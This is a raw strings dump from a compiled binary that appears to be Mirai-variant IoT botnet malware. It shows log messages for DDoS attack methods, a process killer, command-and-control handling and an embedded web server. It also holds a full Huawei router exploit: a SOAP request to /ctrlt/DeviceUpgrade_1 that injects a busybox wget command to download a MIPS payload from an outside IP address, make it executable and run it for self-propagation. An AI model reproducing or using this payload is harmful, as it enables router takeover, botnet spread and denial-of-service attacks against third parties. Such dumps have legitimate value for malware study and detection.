PTRh&b
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$(j@j
\$h9\$<
@;D$<
D$4j@j
D$$j@j
@9D$8
D$(j@j
\$t9\$
D$t9D$
D$$j@j
@;D$8
\$X9\$
9|$$tBPPj
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
T$(Y_j
D$ XZj
T$`VVj
D$$Y[j
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
f;T$<u
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
QQWh9u
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
;T$(}Q
D$CCPj
D$CCPj
D$CGPj
D$CGPj
D$CCPj
D$$PSV
ZY[^_]
\$0PPj
u%WWSS
t@;D$xu
whQWUR
|$'fto
[attack] Starting attack...
[attack] Killing all ongoing attacks
Failed to create raw socket. Aborting attack
Failed to set IP_HDRINCL. Aborting
Could not listen on raw socket!
Couldn't connect to host for ACK Stomp in time. Retrying
TCP Bypass Randomized Hex Data.
Could not open raw socket!
Failed to create socket!
ACK Stomp got SYN+ACK!
in udp plain
after args
Failed to bind udp socket.
after setup
send failed: %d
Failed to create udp socket. Aborting attack
Failed to connect udp socket.
SNQUERY: 127.0.0.1:AAAAAA:xsvr
M-SEARCH * HTTP/1.1
HOST: 255.255.255.255:1900
MAN: "ssdp:discover"
ST: urn:dial-multiscreen-org:service:dial:1
USER-AGENT: Google Chrome/60.0.3112.90 Windows
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
google
google
objectClass0
service:service-agent
default
"3DUfw
_services
_dns-sd
TeamSpeak
Windows XP
nickname
HEAD /
POST /
token: %s
[httpd] request received: %s
HTTP/1.1 404 Not Found
Server: Apache
Content-Length:
HTTP/1.1 200 OK
[httpd] failed to stat request file
[httpd] failed to open /proc/self/exe
[httpd] file size does not match read() return val
[httpd] server started on port %d, listening for connections
[httpd] connection established
[huawei] scanner process initiated. starting scanner
[huawei] FD%d exploit_stage=2. sending POST /ctrlt/DeviceUpgrade_1 to %d.%d.%d.%d
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.12.109.103 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
Content-Length:
[huawei] FD%d exploit_stage=3. closing connection
[huawei] FD%d exploit_stage=1. connection to %d.%d.%d.%d successful. proceeding to stage 2
[killer] starting memory scan on (pid=%d)
[killer] failed to open /proc
[killer] killing process %s
Got SIGSEGV at address: 0x%lx
[main] Attempting to connect to CNC
[main] Failed to call socket(). Errno = %d
[main] Detected newer instance running! Killing self
[main] Connected to CNC. Local address = %d
[main] Received %d bytes from CNC
[main] ping received from cnc
receieved termination command from cnc
[main] cnc requesting httpd server details
[main] webserver details sent
[main] cnc requesting binary update for webserver
[main] cnc initiating webserver to start
[main] cnc initiating lockdown to start
DEBUG MODE
sigaction
/bin/busybox
/bin/watchdog
/bin/systemd
rm -rf
&& mkdir
&& mv
; chmod 777
select() errno = %d
webserv
mipsel
x86_64
[main] cnc pausing lockdown
w5q6he3dbrsgmclkiu4to18npavj702f
Resolved %s to %d IPv4 addresses
[table] Tried to access table.%d but it is locked
[table] Tried to double-lock value
[table] Tried to double-unlock value %d
MCJBG@K.
UPDATE!
connected
open() err
Data Send
finished recv http header
GET /%s HTTP/1.0
User-Agent: Update v1.0
Received byte size = %d
Total lenght = %d
[util] Failed to call socket(), errno = %d
%s%s%m
(null)
hlLjztqZ
npxXoudifFeEgGaACScs
+0-#'I
Unknown error
Success
Operation not permitted
No such file or directory
No such process
Interrupted system call
Input/output error
No such device or address
Argument list too long
Exec format error
Bad file descriptor
No child processes
Resource temporarily unavailable
Cannot allocate memory
Permission denied
Bad address
Block device required
Device or resource busy
File exists
Invalid cross-device link
No such device
Not a directory
Is a directory
Invalid argument
Too many open files in system
Too many open files
Inappropriate ioctl for device
Text file busy
File too large
No space left on device
Illegal seek
Read-only file system
Too many links
Broken pipe
Numerical argument out of domain
Numerical result out of range
Resource deadlock avoided
File name too long
No locks available
Function not implemented
Directory not empty
Too many levels of symbolic links
No message of desired type
Identifier removed
Channel number out of range
Level 2 not synchronized
Level 3 halted
Level 3 reset
Link number out of range
Protocol driver not attached
No CSI structure available
Level 2 halted
Invalid exchange
Invalid request descriptor
Exchange full
No anode
Invalid request code
Invalid slot
Bad font file format
Device not a stream
No data available
Timer expired
Out of streams resources
Machine is not on the network
Package not installed
Object is remote
Link has been severed
Advertise error
Srmount error
Communication error on send
Protocol error
Multihop attempted
RFS specific error
Bad message
Value too large for defined data type
Name not unique on network
File descriptor in bad state
Remote address changed
Can not access a needed shared library
Accessing a corrupted shared library
.lib section in a.out corrupted
Attempting to link in too many shared libraries
Cannot exec a shared library directly
Invalid or incomplete multibyte or wide character
Interrupted system call should be restarted
Streams pipe error
Too many users
Socket operation on non-socket
Destination address required
Message too long
Protocol wrong type for socket
Protocol not available
Protocol not supported
Socket type not supported
Operation not supported
Protocol family not supported
Address family not supported by protocol
Address already in use
Cannot assign requested address
Network is down
Network is unreachable
Network dropped connection on reset
Software caused connection abort
Connection reset by peer
No buffer space available
Transport endpoint is already connected
Transport endpoint is not connected
Cannot send after transport endpoint shutdown
Too many references: cannot splice
Connection timed out
Connection refused
Host is down
No route to host
Operation already in progress
Operation now in progress
Stale NFS file handle
Structure needs cleaning
Not a XENIX named type file
No XENIX semaphores available
Is a named type file
Remote I/O error
Disk quota exceeded
No medium found
Wrong medium type
/dev/null
.shstrtab
.rodata
.ctors
.dtors